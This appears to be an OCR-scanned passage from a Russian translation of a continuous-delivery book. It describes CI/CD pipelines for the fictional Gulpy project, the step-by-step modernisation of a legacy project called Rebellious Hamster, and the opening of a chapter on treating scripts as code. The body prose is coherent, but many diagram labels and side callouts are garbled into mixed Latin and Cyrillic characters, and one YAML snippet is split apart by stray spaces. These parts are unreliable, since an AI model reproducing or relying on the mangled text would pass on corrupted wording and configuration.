Запуск о�раза но6ая и 1'\ред-
1 ЭW\а задача 

Сборка 
образа Gulpy образа в реестре исмльзоваW\Ь как контеи нера назначена 

W\ОЛЬКО для 
W\еСW\иро6ания. 

из l'\aul'\лauнa 
вы .... уска. 

Разработчики создают набор сквозных тестов, которые выполняются на работаю
щем экземпляре сайта Gulpy, как это сделал бы клиент, и подготавливают несколько 
интеграционных тестов . 

Выполнение 
интеграционных 

тестов 

Чтобы запустить сквозные тесты, им не
обходимо еще одно: место для разверты
вания и тестирования, то есть среда для 
тестируемой системы (SUT, system under 
test) . Команда Gulpy создает задачу, ко
торая будет выполнять инициализацию 
виртуальной машины для запуска кон
тейнера: 

Настройка среды 
для SUT 

Выполнение 
сквозных 

тестов 

Возможно, вам вообще не потре
буется настраивать отдельную те
стируемую систему (например, вы 
можете запустить контейнер не
посредственно в рамках сквозно
го тестирования) .  На самом деле 
это зависит от дизайна системы 
и количества компонентов, кото
рые необходимо задействовать 
при тестировании. Подробнее об 
этом можно узнать из литерату
ры, посвященной тестированию. 
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Завершаем пай плайн CI  
Для запуска интеrрационных тестов разработчикам Gulpy нужно добавить в су
ществующий пайплайн CI всеrо одну задачу, которая запускает эти тесты. Эти 
тесты выполняются немноrо дольше, чем юнит-тесты, но не требуют специальной 
настройки: 

Выполнение 
интеграционных 

тестов 

Добавить сквозные тесты в пайплайн CI немноrо сложнее. Для этоrо нужен целый 
пайплайн задач :  

Сборка 
образа Gu lpy 

Настройка 
среды для SUT 

Публикация 
образа в реестре 

1 Запуск образа 
как контейнера 

- · 

� 
Выполнение 

сквозных тестов 

j ob s : 
setup - s ut : 

build : 

p u Ы i s h : 
needs : build  

run - cont a i ne r : 
needs : [ setup - s u t ,  puЬl i s h ] 

end - t o - e nd - te st s : 
needs : r u n - cont a i n e r  

ЦitНцЬ ActioYIS IАСУ\ОЛt>Зуем ключевое слово 
Y1eeds для 0У1ределенця завцсцмосмей 
ц умрядочцванця заданцu в рамках 

рабочего У1роцесса. подробнее 
об 0У1ределенцц сложн1:>1х графов 

см. в zлаве 1.3. 
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Окончательные пай плай ны п роекта Gu lpy 
Собрав все части воедино, команда Gulpy сформировала следующие два пайплайна, 
каждый из которых запускается отдельно: 

3аnускаеw.ся 3аnускаеw.ся 
через очередtJ npu ow.кptJtWllAIA 

/АЛ/А обновлении PR СЛIАЯНIАЯ 

� � {1 
3аnускаеw.ся 
nериодически 

г л"m� l Выполнение 
юнит-тестов 

(с покрытием) 

____ {l __ ( Выпопнение 
интеграционных 

тестов 

Сборка 
образа Gu lpy 

Публикация 
образа в реестре 

Настройка 
среды для SUT 

1 Запуск образа 
как контейнера 

Выполнение 
сквозных тестов 

naunлauн CI 

3аV1ускаеw.ся npu слиянии 
с zла8ноu веw.коu 

Сборка 
образа Gulpy 

Публикация 
образа в реестре 

Развертывание 
с использованием 

«канарейки» 

Возможно, по мере развития проекта и добавления новых функций будут вноситься 
коррективы, но в целом эти пайплайны вполне должны удовлетворить потребность 
команды в CD. Это идеальные образцы, к которым необходимо стремиться при раз
работке пайплайнов (плюс-минус несколько задач в зависимости от целей проекта 
и используемых инструментов) .  
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Унаследованный п роект: переход к CD 
Н а  самом деле проекты с нуля запускаются нечасто, поэтому вам вряд л и  выпадет 
удача реализовать все необходимые элементы, пока кода еще немного. Вместо этого 
вы, скорее всего, будете иметь дело со старым (унаследованным) проектом. 

Каждый greenfield-пpoeкт в какой-то момент становится старым. Когда именно 
наступает этот момент, точно сказать нельзя, но одним из признаков устаревания 
проекта является увеличение объема работы для добавления блокирующих задач 
CD, таких как те, которые мы только что рассматривали: например, требование 
80 %-ного покрытия кода или требование прохождения линтинга. Как вы уже по
няли из предыдущих глав, для унаследованных проектов реализовать подобные 
рекомендации сложнее. 

Подход, который мы обсудили, все равно полезен, поскольку он определяет 
элементы, необходимые во всех проектах, в том числе унаследованных. Однако по
рядок добавления этих элементов немного отличается, и скорее всего, вы не сможете 
осуществить все свои задумки (и это нормально! ) .  

Независимо от  того, работаете ли вы со  старыми или с новыми проектами, цель 
CD в них одинакова: 

Получать как можно больше сигналов как можно быстрее. 

И опять же, начать стоит с нерперывной интеграции, поскольку она закладывает 
основу для реализации остальных компонентов: 

Непрерывная интеграция - это процесс, при котором объединение 
изменений кода происходит постоянно и каждое изменение проверяется 
при внесении. 

Если до сих пор CI пренебрегали, она может быть особенно актуальной для унасле
дованного кода - кто знает, в каком он состоянии! Без CI очень трудно понять, что 
произойдет, если начать добавлять автоматизацию релизов и выпускать их чаще 
и быстрее. Имеет смысл перед этим убедиться в жизнеспособности кода. 
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П роект Rebel l ious Hamster 
Теперь рассмотрим, как модернизировать CD для унаследованного проекта, на  при
мере проекта Rebellious Hamster. Эта компания предоставляет серверные услуги для 
видеоигр. У нее огромная кодовая база, которая создавалась последние пять лет, но 
автоматизация CD отсутствует - или, по крайней мере, команда Rebellious Hamster 
не настраивала ее последовательно для каждого проекта. С чего же начать? 

Сервис 
хранения 
данных 

Сервис -') рейтинга 
игроков --:=;--\ ,.--7 .---\ /7 

1__::.::_J .......__� Сервис подбора 11 ---� игроков .-
'-- по уровню Сервис  

............_� формирования 

/7 очередей 
Аналитический 

сервис 

Код, поддерживающий эти сервисы, находится в нескольких репозиториях: 

Реп АРl
шлюза 

Реп сервиса 
хранения 
данных 

Реп сервиса 
рейтинга 
игроков 

Реп БД 
пользователей 

и библиотек 

Реп 
аналитического 

сервиса 

Каждый репозиторий в большей или меньшей степени принадлежит отдельной 
команде, поэтому в одних репозиториях CD не настроена вообще, а в других иногда 
присутствуют тестирование и автоматизация. Между проектами нет согласован
ности, и у каждой команды свои стандарты. 

Книги для программистов: https://t.me/booksforits



320 Глава 1 1 .  Стартовые наборы : с нуля до CD 

Первый ша г: установление приоритетов 
для и нкрементных целей 
Работа с унаследованными проектами может оказаться вам не по плечу, если вы 
установите слишком высокую планку. Лучше поставьте перед собой несколько ин
крементных целей, которые можно начать воплощать сразу же и сразу же получать 
результат, чтобы, остановившись в любой момент, знать, что вы продвинулись по 
сравнению с начальной точкой. И помните, что всех целей достигать не обязательно! 
Две широкие области, требующие улучшения, соответствуют двум принципам CD: 

• выпускать релизы ПО безопасно и в любое время; 
• делать выпуск максимально просто, буквально одним нажатием кнопки. 

В первую очередь обеспечьте возможность доставлять свой продукт безопасно 
в любое время, то есть вы должны всегда знать, что произошел сбой: 

1. Автоматизируйте процесс, чтобы понимать, пригоден ли код к сборке. 
2. Изолируйте части кода, которые вы хотите улучшить, от частей, на которые не 

стоит тратить силы, следуя парадигме «разделяй и властвуй» (на исправление 
всех элементов, скорее всего, уйдет слишком много сил, а отдача в результате 
будет невелика). 

3 .  Добавьте тесты, включая измерение покрытия. 

Как только вы почувствуете, что получаете достаточно сигналов о том, что можно 
безопасно выпускать релизы чаще или, по крайней мере, быстрее, сделайте следующее: 

• Решите, будете ли вы автоматизировать существующие процессы или начнете 
с нуля в рамках нового подхода (например, используя сторонний инструмент) . 

• Если вы выбрали первое, автоматизируйте процессы постепенно, по частям. 
• При переходе на сторонний инструмент разработайте безопасные эксперимен

ты с минимальным воздействием для перехода от текущих процессов к новому 
инструменту. 

К счастью, любая модернизация - это улучшение. Даже если вы никогда не про
двинетесь дальше небольших инкрементных изменений, вы все равно улучшите 
свой механизм непрерывной доставки! 

Куда же делся линтинг? 

Как вы могли заметить, выше говорится о тестировании, но ничего нет о лин -
тинге. При работе с новым кодом я рекомендовала сначала добавить линтинг 
в основном потому, что это очень легко сделать, когда кода мало, и это будет 
мотивировать на написание последовательного кода. Однако добавить линтинг 
в унаследованный код гораздо сложнее (см. главу 4), и быстрее пользу при
несут тесты и автоматизация развертывания. Поэтому для унаследованного 
кода линтинг часто становится вишенкой на торте, которую можно добавить 
позже, если останется время. 
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В первую очередь «болевые точки» 
Решая, с чего начинать поэтапное улучшение механизма CD, определите «болевые 
точки» процесса. Это может повлиять на порядок действий. (И помните, как уже 
говорилось в главе 6, если существует достаточно «болезненный» процесс, выпол
няйте его чаще! ) 

Определение «болевых точек» также помогает мотивировать команды к совмест
ной работе над созданием согласованных пайплайнов CD. Акцент на уменьшении 
«головной боли» команд может сплотить их вокруг общей цели. Кроме того, решив 
в первую очередь самые крупные проблемы, вы уже останетесь в плюсе, даже если 
у вас закончится время и вы не успеете реализовать все намеченные цели CD. 

Что вы имеете в виду под «болевыми точками»? 
Сложно дать точное определение, но можно считать, что «болевые точки» в процессах 
CD - это то, чего стараются избегать, потому что это проблемы, которые трудно ре
шать. Например, это затормозит разработку функций, потребует сверхурочной работы 
или это что-то, что регулярно откладывается. Зачастую лучший способ обнаружить 
«болевые точки» - найти действия, которые выполняются реже всего: например, раз
вертывание только раз в три месяца может быть признаком того, что в нем есть «болевые 
точки». Близко связанное с этим понятие, описанное в книге разработчиков Google «Site 
Reliability Engineering. Надежность и безотказность как в Google» 1 ,  - это рутина, то есть 
повторяющиеся ручные операции, не имеющие особой ценности, которые часто являются 
источником «головной боли» при реализации CD. 

Что делать, если привлечь все команды не получается? 
Вы наверняка хотите, чтобы все ваши команды занялись улучшением CD, но скорее все
го, согласятся на это не все - по крайней мере, сразу. В этом случае стоит начать с одной 
команды или проекта и на их примере продемонстрировать, что вы предлагаете (и это 
все равно будет полезно, даже если вы не сможете убедить всех). Наглядное воплощение 
концепции и ее преимуществ может стать самым убедительным аргументом. Еще лучше, 
если вы сможете подкрепить его метриками: соберите метрики по «болевым точкам» 
и покажите, как с модернизацией CD они улучшаются (метрики DORA, рассмотренные 
в главах 8 и 1 0, отлично подойдут для начала) . 

Новые проекты - отличное начало 
В основном вы, конечно, будете работать с унаследованными продуктами, но время от 
времени обязательно должны будут появляться новые проекты. Новые проекты - пре
красный повод продемонстрировать все преимущества лучших практик и установить 
стандарты, которые унаследованные проекты смогут постепенно перенимать. Относитесь 
к новому проекту как к «непаханому полю» и устанавливайте высокие стандарты (включая 
линтинг) с самого начала! 

1 Бетси Бейер и др. «Site Reliability Engineering. Надежность и безотказность как в Google». 
Санкт-Петербург, издательство «Питер».  
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«Болевые точки» в проекте Rebel l ious Hamster 
«Болевые точки» в проекте Rebellious Hamster иллюстрируют подход, описанный 
выше. Их «болезненность» ярко выражена в отношении разработчиков к развер
тыванию: 

• Развертывания происходят редко и нерегулярно (не чаще чем раз в 3 месяца) . 
• Все сервисы развертываются одновременно. 
• Перед развертыванием проводится авральное тестирование в промежуточной 

среде, в ходе которого обнаруживается множество багов. 
• Баги после развертывания оказываются нормой, и после развертывания все 

долго и лихорадочно их исправляют. 

Поскольку много багов обнаруживается после развертывания, развертывания про
водят редко. И хотя «болевая точка» связана с развертыванием, источник проблем 
кроется не в процессах развертывания, а в состоянии развертываемого кода: 

• Перед развертыванием кода в репозитории команда практически не получает 
сигналов о том, безопасно ли оно. 

• Перед развертыванием команда не получает сигналов, гарантирующих, что 
многочисленные сервисы Rebellious Hamster могут успешно интегрироваться 
друг с другом. 

• Сами развертывания выполняются полностью вручную, но эта проблема ничто 
по сравнению с «головной болью» по устранению всех багов, обнаруживаемых 
после развертывания. 

Если работать с настоящим источником «головной боли» в проекте Rebellious 
Hamster, то имеет смысл следовать общему подходу к внедрению CD в унаследо
ванные проекты: начать с модернизации CI и перейти к улучшению автоматизации 
развертывания, когда это станет безопасным. 
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Компания Rebellious Hamster решает отладить CI и начинает так: 

1. Автоматизирует процесс, чтобы понимать, пригоден ли код к сборке. 
2 .  Изолирует части кода, которые необходимо улучшить, от частей, на которые не 

стоит тратить силы, следуя парадигме «разделяй и властвуй» .  
3 .  Добавляет тесты, включая измерение покрытия. 

Разработчики определяют следующие исходные цели для всех репозиториев: 

• Получать информацию о том, что можно успешно проводить сборку сервиса или 
библиотеки в репозитории. 

• Измерять покрытие кода тестами и останавливать пайплайн CD, если оно сни
жается . 

Они создают начальный пайплайн с параметрами, позволяющими повторно исполь
зовать его для разных репозиториев (подробнее см. главу 1 3) ,  который выполняет 
сборку каждого сервиса (или, в случае библиотеки учетных записей пользователей, 
создает библиотеку), запускает юнит-тесты, если они существуют, и выдает ошибку, 
если покрытие юнит-тестами снижается : 

Заnускаеvv.ся 
nрц оvv.крь1vv.цц 

1.АЛIА оонобленцц PR 

Заnускаеvv.ся 
через очередь 

СЛIАЯНl.АЯ 

� 
Заnускаеvv.ся 
nерцодцческц 

К.оманда Rebellioиs Haмster 
должна будем либо создамt> 

собсмбенную задачу 
и хранилище для омслежи -

бани я мкрt>1мия бо бремени,  
как эмо сделала команда 

Выполнение 
тестов 

Сборка сервиса 
или библиотеки 

сайма Dog Pictи re 6 zлабе С:>, 
либо найми сморонний [ Измерение 
сербис для измерения покрытия тестами -

и омслежибания 1'\ОКрt>1мия. оно не должно 
__... уменьшаться 

Эма часмt> 1'\аUl'\Лайна 
омличаемся для реl'\озимо 

рия 1'\ОЛt>зобамелt>ской 
библиомеки , 1'\ОСКолt>ку 

не содержим сербис сборки, 
а молt>ко саму библиомеку. 

Результаты покрытия в каждом репозитории довольно сильно различаются: 

• Репозитории аналитики и пользовательских библиотек вообще не имеют по
крытия . 

• Покрытие АРI-шлюза и хранилища составляет менее 40 %. 
• Покрытие в репозиториях рейтинга и подбора игроков уже выше 60 %.  

Несмотря на разные отправные точки, если покрытие перестанет снижаться, со 
временем оно естественным образом начнет увеличиваться в каждом проекте. 
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Изоли руем код и доба вляем тесты 
Достигнув поставленных целей и начав получать сигналы о сбоях содержимого из 
каждого репозитория, разработчики Rebellious Hamster вернулись к рекомендован
ному пути оптимизации CI унаследованного проекта: 

1. Автоматизируйте nроцесс, 'fтобм nомиматrs, nриrодем пи код к сборке. 

2. Изолируйте части кода, которые необходимо улучшить, от частей, на которые не 
стоит тратить силы, следуя парадигме «разделяй и властвуй» .  

3 .  Добавьте тесты, BKJIIO'faJI измеремие nокрмти11. 

Они переходят к улучшению тестов, увеличивая базовое покрытие, но только там, 
где это стоит делать. Они также решают добавить первоначальный сквозной тест, 
поскольку многие баги обнаруживаются только после развертывания всех сервисов 
вместе. Для начала они выбирают репозитории с минимальным покрытием: 

• Репозитории аналитики и пользовательских библиотек вообще не имеют по-
крытия. 

• Покрытие АРI-шлюза и хранилища составляет менее 40 %.  

Не пытаясь достичь 70-80 %+ покрытия для всего кода в каждом репозитории, они 
ищут в репозиториях код, который действительно регулярно обновляется. Некото
рые пакеты и библиотеки не менялись годами, поэтому их не трогают (об изоляции 
кода, к которому вообще не планируется применять стандарты CI, см. в главе 4) .  

Для написания хороших юнит-тестов часто требуется рефакторинг кода. В уна
следованном коде он может быть очень затратным, поэтому разработчики Rebellious 
Hamster добавляют простые юнит-тесты, где это возможно, и время от времени 
проводят интеграционные тесты, когда рефакторинг не стоит усилий. Это приносит 
достаточный результат и позволяет соблюдать подход «оставь код чище, чем он был 
до тебя» ,  при котором код становится лучше, чем был, что облегчит постепенное 
проведение рефакторинга в будущем. 

На этот раз мы сразу вкладываемся в сквозные тесты? 

В проектах «С нулЯ>> мы оставляли сквозные тесты напоследок. В унаследован
ных проектах, возможно, стоит заняться ими раньше, потому что добавлять 
юнит-тесты на этом этапе сложнее (и, возможно, их уже достаточно), а даже 
один сквозной тест, если таковых раньше вообще не было, может дать действи
тельно ценный сигнал. В частности, в проекте Rebellious Hamster нет тестов, 
проверяющих совместную работу всех сервисов до развертывания. Сквозной 
тест поможет компании гораздо раньше получить сигнал о том, смогут ли сер
висы успешно работать вместе. 
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Доба вление большего количества тестов 
в унаследованный пай плайн 
Изолируя код в репозиториях АРI-шлюза, аналитики, хранилища и пользовательской 
библиотеки, который не меняется, и увеличивая покрытие остального кода (исполь
зуя интеграционные тесты, когда юнит-тесты требуют значительного рефакторинга) , 
команда Rebellious Hamster увеличивает покрытие тестами в репозиториях. Теперь 
покрытие кода, который часто обновляется, во всех репозиториях превышает 60 %. 

Кроме того, разработчики пишут несколько сквозных тестов, которые охваты
вают всю развернутую систему, со всеми сервисами. Это довольно значительная 
работа, поскольку у них до сих пор вообще не было автоматизации развертывания. 
Чтобы понять, как осуществить развертывание каждого сервиса, требуется при
ложить много усилий, не говоря уже о том, чтобы понять, как автоматизировать 
процессы, чтобы быстро проводить тестирование в пайплайне. 

Однако они скоро убедились, что их усилия оправдались. Новый сквозной тест за 
первые несколько недель работы выявил несколько багов во взаимодействии сервисов. 

ЗаV\,ускаемся Зt1V\,ускаемся 
V\pu омкр1:11мuu через очеред1:1 ЗаV\,ускаемся 

V\epuoдuчecкu uлu оонобленuu PR � сл7tuя {1 
РазрабоW1чики сохраняюW1 задачу 
сборки, ЧW1об1:>1 б1:11сW1ро млучиW11:> 

должно уменьшаться 

Сборка сервиса сиzнал о невозможносW1и сборки 
или библиотеки и своевременно осW1ановиW11:> 

Настройка 
среды для SUT 

Выполнение 
сквозных тестов 

� "'aiil'\Лaiiн. 

поскол1:>ку в "'POtKWlt Rebellioиs 
HaWISttr HtWI абW10МаW1изации  
разберW11:11вания, разрабоW1чики 
1'\ищуW1 задачу, коW1орая будеWI 

разверW11:>1баW11:> все сербис1:>1 внуWlри 
образов конW1еiiнеров на вирW1уал1:> -

ной мащине, коW1орую можно 
исмл1:1зоваW11:> для v-.роведения 

скбозн1:11х WltcWloв. 

Как настроить SUT для такого сквозного теста? 

Разобраться, с чего начать написание задачи, которая будет осуществлять развер
тывание продукта (для сквозного тестирования), может оказаться чрезвычайно 
сложно, особенно если у вас нет автоматизации, на которую можно было бы ори
ентироваться. Для некоторых продуктов это может быть вообще нецелесообраз
ным, и в этом случае имеет смысл сначала улучшить развертывание, а затем уже 
вернуться к сквозным тестам. Стоит также рассмотреть использование образов 
контейнеров. Если вы сможете создать образ контейнера для каждого сервиса, 
вы сможете запустить все эти образы вместе на одной машине, создав тестовую 
среду, которая не очень похожа на рабочую, но может быть достаточной, чтобы 
находить очевидные баги во взаимодействии сервисов. 
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Увеличение степени а втоматиза ци и  
развертывания 
Команда Rebellious Hamster создала надежный пайплайн CI и может переходить 
к улучшению процесса развертывания: 

• Оценить возможности сторонних инструментов развертывания: решить, следует 
ли автоматизировать существующие процессы или лучше начать с нуля в рамках 
нового подхода. 

• Автоматизировать существующие процессы постепенно, по частям. 
• При переходе на сторонний инструмент разработать безопасные эксперименты 

с минимальным воздействием для перехода от текущих процессов к новому 
инструменту. 

В первую очередь нужно решить, стоит ли сразу переходить на стороннее решение 
для развертывания или сначала автоматизировать и улучшить текущие процессы. 
Переход на сторонний инструмент может быть оправдан, если вы хотите попро
бовать более продвинутые методы развертывания, такие как сине-зеленые и кана
реечные (см. rлаву 1 0) .  Разработчики Rebellious Hamster, возможно, когда-нибудь 
и захотят сделать это, но сейчас они выбирают второй вариант. Следующие шаги 
помогут им постепенно перейти от ручных процессов к автоматизированным: 

1 .  Задокументируйте все ручные операции. 
2.  Преобразуйте эту документацию в один или несколько скриптов или инстру

ментов. 
3. Сохраните скрипты и инструменты в системе контроля версий (то есть внедрите 

принцип «Конфигурация как код») .  
4. Создайте автоматизированный запуск развертываний (например, веб-интерфейс 

с кнопкой, срабатывающей на событие слияния) .  

Текущий процесс включает ручную установку двоичных файлов на компьютеры, 
и разработчики решают (особенно на волне успеха контейнерного подхода в сквоз
ных тестах) ,  что в рамках этой модернизации они начнут упаковывать двоичные 
файлы в образы контейнеров и запускать их как контейнеры. 

Что, если все-таки сразу использовать сторонний инструмент ? 

Вы не прогадаете, решив попробовать, и это справедливо для большинства 
изменений, которые вы, возможно, захотите внести при автоматизации раз
вертывания. Для отработки новой техники развертывания (стороннего ин
струмента или новой автоматизации) выберите проект с наименьшим риском 
(еще лучше, если это будет совершенно новый проект) . Когда вы поймете, как 
реализовать новый механизм в выбранном проекте, вы сможете внедрять его 
и в остальных проектах. 
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Создание пай плайна выпуска 
Команда Rebellious Hamster решает начать с сервиса хранения данных, поскольку 
его архитектура похожа на архитектуру большинства других сервисов, а также он 
создает определенные сложности, связанные с тем, что он опирается на базу данных: 

1 Сервис 

хранения 
данных 

_____ ......___� 
Сервис хранения даннt?tХ 
зави с и WI  OWI бА V\ОЛ1? -
зова W1елеu,  НО За -

обновления эWlou бА 
оW1вечаеW1 сервис 
Vtoлt?зoвa Wleлeu. 

Изменения бА храни -
� лища связанt?t с измене -

ни я м и  сервиса,  V\OЭWIO -
Му V\OKa их нужно 
разверW11?1ваW11? вмесWlе 
(см. главу :1-0). 

1 .  Документирование. Члены команды сервиса хранения данных создают доку
мент, в котором подробно описывают процесс развертывания. Сначала сервис 
хранения собирается в виде двоичного файла, который загружается в реестр 
артефактов Rebellious Hamster. Затем один из разработчиков вручную применяет 
все необходимые обновления схемы базы данных к БД хранилища и вручную же 
обновляет двоичный файл, установленный на виртуальной машине, на которой 
работает сервис. 

2. Преобразование документации в скрипты. Команда сервиса хранения данных 
создает три скрипта: один для сборки сервиса хранения в образ контейнера 
и загрузки его в реестр образов, другой - для обновления схемы базы данных 
и, наконец, третий - для обновления образа на виртуальной машине до по
следней версии. 

3 .  Внедрение принципа «конфигурация как код» .  Все три скрипта фиксируются 
в системе контроля версий в том же репозитории, что и код сервиса хранения 
данных и схемы БД. 

4. Создание автоматизированного запуска развертываний. Разработчики созда
ют пайплайн, который выполняет скрипты, и добавляют триггер для запуска 
пайплайна в ответ на событие - появление в репозитории новой версии, снаб
женной тегом. Это позволит автоматизировать процесс запуска, но при этом 
сохранить ручной контроль. 
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Пай плай н выпуска Rebel l ious Hamster 
Пайплайн, который создает команда сервиса хранения данных, в итоге выглядит так: 

Сро.бо.W1ыво.еW1 У1.ри добавлении 
Wleгo. новой. версии 

� 
ИсмльзуеW1ся одно. задача Создание 
для создания и ОW1У1.ро.вки и отправка образа 

образа вмесW10 0W1дель�:-----� 
задачи У1.ублико.ции .  � 

В до.льней.wем каждой. Применить 
обновления команде целесообразно 

схемы ро.зделиw.ь обновления схем 
>:...----....... · � и обновления сервисов, 

� чw.обы ро.зверw.ыво.WIЬ их 

Обновление 
текущей 

версии образа 

независимо (см. главу з..о) . 

Этот же пайплайн выпуска можно использовать во всех репозиториях Rebellious 
Hamster с некоторыми изменениями для сервисов, не привязанных к базе данных. 

Стоит ли автоматизировать развертывание и вносить большие 

изменения одновременно? 

Команда Rebellious Hamster решила перейти к развертыванию на основе об
разов контейнеров и одновременно автоматизировать развертывание. Более 
медленный и поэтапный подход заключается в том, чтобы автоматизировать 
имеющиеся операции и только потом переходить к использованию образов 
контейнеров. Выбор подхода зависит от степени допустимого риска: менять 
несколько процессов одновременно более рискованно, но позволяет быстрее 
достичь цели. 
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Окончательный вид пай плай нов 
Rebel l ious Hamster 
Теперь для каждого репозитория в проекте Rebellious Hamster существует два 
пайплайна, запускающихся отдельно. Благодаря более высокой степени автомати
зации стало возможным проводить независимое развертывание каждого сервиса, 
и команда Rebellious Hamster может безопасно экспериментировать с более частыми 
развертываниями, а затем и с более сложными стратегиями развертывания. 

3аt'\ускаемся 
t'\PIA oмкpЬtW\IAIA 

цлц обнобленцц PR 

3аt'\ускаемся 
через очередь 

СЛIАЯНIАЯ 

� � {1 
3аt'\ускаемся 
t'\ерцодцческц 

Выпопнение 
тестов 

Сборка сервиса 
или библиотеки 

Измерение покрытия 
тестами - оно не 

должно уменьшаться 

Настройка 
среды для SUT 

Выполнение 
сквозных тестов 

rтauмailн Ct 

Срабамь1баем 
t'\ptA добабленцц 

меzа нобоu берсцц 

� 
Создание 

и отправка образа 

Применение 
обновления 

схемы 

Обновление 
текущей версии 

образа 

При добавлении CD в унаследованные проекты важно учитывать особенности 
проекта и принять тот факт, что создаваемые пайплайны не будут идеальными и не 
смогут включить все, что вы хотите. Например, в пайплайнах выше существует не
соответствие между тем, как происходит сборка и развертывание сервисов на про
дакшен, и тем, как они собираются и развертываются для сквозного тестирования. 

Это можно будет постепенно исправить в будущем, но сначала обратите внима
ние, насколько улучшилось состояние проектов. Даже если разработчики Rebellious 
Hamster не будут модернизировать эти пайплайны еще несколько лет, они могут 
быть совершенно уверены, что теперь их код всегда готов к релизу, а развертывание 
стало проще чем когда-либо. 
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Заключение 
Как будут развиваться проекты Gulpy и Rebellious Hamster? Непрерывную доставку 
можно совершенствовать постоянно! В пайплайнах всегда будет что-то, что можно 
улучшить; проще всего взглянуть на базовые пайплайны в начале главы и поискать 
недостающие элементы, или, возможно, они выяснятся в будущем. 

Итоги 
• Базовыми элементами эффективных пайплайнов CD (одного или нескольких) 

являются линтинг, юнит-тесты, интеграционные тесты, сквозные тесты, сборка, 
публикация и развертывание. 

• В коде, разрабатываемом с нуля, устанавливайте высокие стандарты качества 
сразу, чтобы их было удобно поддерживать (и корректировать) в течение всего 
срока жизни проекта. 

• Работая с унаследованным кодом, лучше всего начать с улучшения CI для кода, 
который действительно часто меняется, а не пытаться исправить все сразу. 

• Примите тот факт, что вы никогда не сможете реализовать все, и это нормально! 
Улучшение пайплайнов CD все равно того стоит, и даже небольшие изменения 
могут принести заметную пользу. 

• Продолжайте модернизировать CD, обращая внимание на «болевые точки» ,  
и правильно расставляйте приоритеты. Чем дольше вы откладываете решение 
проблемы, тем серьезнее она становится ! 

Далее . . .  
В следующей главе мы познакомимся с одним из  основных строительных блоков 
пайплайна CD, который мы еще подробно не рассматривали. Этому компоненту 
редко уделяется должное внимание, и это минимальный скрипт. 
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Скри пты 
это тоже код 

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  ' 

В этой гла ве 

.- Разработка задач с сильной связностью (cohesion) и сла
бой связанностью (coupl ing), которые будут исnользова

ны в nайnлайнах 

" Использование подходящего языка в нужное время, 
чтобы писать надежные и удобные в сопровождении 

пайплайны СО 

" Выявление компромиссов между написанием задач 

с применением языков shеl l-скриптов (таких, как bash) 

и языков общего назначения (таких, как Python) 

" Поддержка работоспособности и удобства сопровожде

ния пайплайнов СО путем применения концепции «кон
фигурация как код» к скриптам, задачам и пайплайнам 

1 2  

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

Если внимательно проанализировать пайплайны и задачи, то можно заметить, что 
в их основе всегда лежат скрипты. Иногда кажется, что непрерывная доставка - это 
просто множество тщательно организованных скриптов, в частности Ьаsh-скриптов. 

В этой главе мы рассмотрим концепцию «конфигурация как код» немного под
робнее и убедимся, что можно применять ее к скриптам, которые мы используем 
для определения логики CD внутри задач и пайплайнов. Это часто означает необхо
димость перехода от языка shеll-скриптов, такого как bash, к более универсальному 
языку. Давайте разберемся, как работать со скриптами CD как с кодом. 
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Онлай н-банк  Purrfect Bank 
PurrfectBank - это онлайн-банк, ориентирован
ный на рынок банковских услуг для кошек. Вла
дельцы кошек заводят счета для своих питомцев, 
выплачивают им содержание и позволяют со
вершать онлайн-покупки с помощью кредитной 
карты Purrfect Bank. 

Ладно, на самом деле по
купки совершают не кошки; 
очевидно, что кошки не 
умеют пользоваться ком
пьютерами или кредитны
ми картами. Но с Purrfect 
Bank их хозяева могут 
делать это понарошку. 

Команды разработчиков Purrfect Bank разделены на подразделения, которые в ос
новном работают независимо. В последнее время у подразделения платежей возник
ли проблемы с пайплайнами CD. Подразделение платежей отвечает за два сервиса: 
сервис транзакций и сервис интеграции кредитных карт. 

Сервис 
транзакций 

�.--\ 

Сервис интеграции  
кредитных карт 

Сервис транзакций опирается на базу данных и использует сервис интеграции кре
дитных карт, чтобы отправлять запросы провайдерам кредитных карт, с которыми 
сотрудничает Purrfect Bank. 
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П роблемы непрерывной доста вки 
С сервисом транзакций и сервисом интеграции кредитных карт работают отдельные 
команды, и в последнее время их члены жалуются, что пайплайны CD замедляют 
их работу, особенно пайплайны CI. Некоторые даже предлагали вообще от них из
бавиться ! 

Лоренцо, технический руководитель подразделения платежей в Purrfect Вапk, 
серьезно относится к этим жалобам и пытается найти решение проблем, с которыми 
сталкиваются команды, не отказываясь полностью от CI. 

К.оzда они османаблибаюмся, 
я оченt> долго не могу 

V\OHЯl'\l\I> V\ОЧему ' 

Лоренцо резюмирует проблемы с пайплайнами CD: 

• Их трудно отлаживать. 
• Они непрозрачны. 
• Разработчики не решаются вносить в них изменения. 

В общем, по мнению Лоренцо, эти пайплайны сложно использовать и трудно под
держивать. 

Книги для программистов: https://t.me/booksforits



334 Глава 12 .  Скрипты - это тоже код 

Схема непрерывной доставки 
в онлай н-банке Purrfect Bank 
Чтобы понять, почему с пайплайнами CD подразделения платежей так много про
блем, Лоренцо проводит их анализ. Есть два пайплайна, один для сервиса транзакций 
и один для сервиса интеграции кредитных карт. Пайплайн сервиса транзакций - это 
на самом деле просто одна гигантская задача, которая запускает Ьаsh-скрипт: 

3аl'\ускаеW\сЯ 
1'\ри ОW\КрЬ1W\ии 

или обновлении PR 

3аl'\ускаеW\СЯ 
через очередь 

слияния 

� � {1 
Скрипт CI 

3аl'\ускаеW\СЯ � 
1'\ериодически 

В обоих сервисах 
1'\аiАl'\лаiАны Заl'\уска -
ЮW\СЯ на основе набора 
собыW\иiА,  рекомендо 
ванных в главе 7. 

Пайплайн сервиса кредитных карт выглядит немного лучше и состоит из нескольких 
задач: 

3аl'\ускаеW\СЯ 
1'\ри оw.кр1:11W\ии 

или обновлении PR 

3аl'\ускаеw.ся 
через очередь 

слияния 
(см. главу 7) 

� � {1 

3аl'\ускаеW\СЯ 
1'\ериодически 

(W\o ecw.1:1 через 
заl'\ланированное 

собыW\ие) 

Линтинг файлов 
конфигурации 

� 

Линтинг файлов 
на языке разметки 

Markdown 

,,..------

L Сборка J 
� 

Линтинг 
файлов на Python 

Настройка 
среды для SUT 

J Развертывание 

Выполнение 
сквозных тестов 

Выnолнение 
юнит-тестов 

Измерение 
покрытия 

Оба этих пайплайна, хотя и имеют разную структуру, опираются на общую библио
теку Ьаsh-скриптов. 
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Ваsh-библиотеки подразделения платежей 
Команды подразделения платежей в Purrfect Bank размещают свой код в следующих 
репозиториях: 

�--..... ...____ 

Реп сервиса 
транзакций 

